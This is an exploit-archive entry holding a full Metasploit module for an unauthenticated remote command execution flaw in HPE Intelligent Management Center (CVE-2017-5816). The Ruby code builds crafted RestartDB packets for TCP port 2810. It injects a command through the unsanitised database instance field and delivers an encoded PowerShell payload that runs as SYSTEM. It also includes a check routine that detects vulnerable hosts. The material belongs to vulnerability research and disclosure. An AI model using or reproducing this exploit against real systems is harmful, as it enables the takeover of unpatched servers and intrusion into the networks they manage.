HPE iMC dbman RestartDB Unauthenticated Remote Command Execution

2018.01.10
Credit: Brendan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE', 'Description' => %q{ This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04. The dbman service allows unauthenticated remote users to restart a user-specified database instance (OpCode 10008), however the instance ID is not sanitized, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default. This module has been tested successfully on iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN). }, 'License' => MSF_LICENSE, 'Author' => [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['CVE', '2017-5816'], ['EDB', '43198'], ['ZDI', '17-340'], ['URL', 'https://www.securityfocus.com/bid/98469/info'], ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us'] ], 'Platform' => 'win', 'Targets' => [['Automatic', {}]], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Privileged' => true, 'DisclosureDate' => 'May 15 2017', 'DefaultTarget' => 0)) register_options [Opt::RPORT(2810)] end def check # empty RestartDB packet pkt = [10008].pack('N') connect sock.put pkt res = sock.get_once disconnect # Expected reply: # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log" return CheckCode::Detected if res =~ /dbman/i CheckCode::Safe end def dbman_msg(db_instance) data = '' db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}" db_type = "\x04" # SQL Server db_sa_username = rand_text_alpha rand(1..5) db_sa_password = rand_text_alpha rand(1..5) ora_db_ins = rand_text_alpha rand(1..5) # dbIp data << "\x04" data << [db_ip.length].pack('C') data << db_ip # iDBType data << "\x02" data << [db_type.length].pack('C') data << db_type # dbInstance data << "\x04" data << "\x82" data << [db_instance.length].pack('n') data << db_instance # dbSaUserName data << "\x04" data << [db_sa_username.length].pack('C') data << db_sa_username # dbSaPassword data << "\x04" data << [db_sa_password.length].pack('C') data << db_sa_password # strOraDbIns data << "\x04" data << [ora_db_ins.length].pack('C') data << ora_db_ins data end def dbman_restartdb_pkt(db_instance) data = dbman_msg db_instance # opcode 10008 (RestartDB) pkt = [10008].pack('N') # packet length pkt << "\x00\x00" pkt << [data.length + 4].pack('n') # packet data length pkt << "\x30\x82" pkt << [data.length].pack('n') # packet data pkt << data pkt end def execute_command(cmd, _opts = {}) connect sock.put dbman_restartdb_pkt "\"& #{cmd} &" disconnect end def exploit command = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) if command.length > 8000 fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command" end print_status "Sending payload (#{command.length} bytes)..." execute_command command end end


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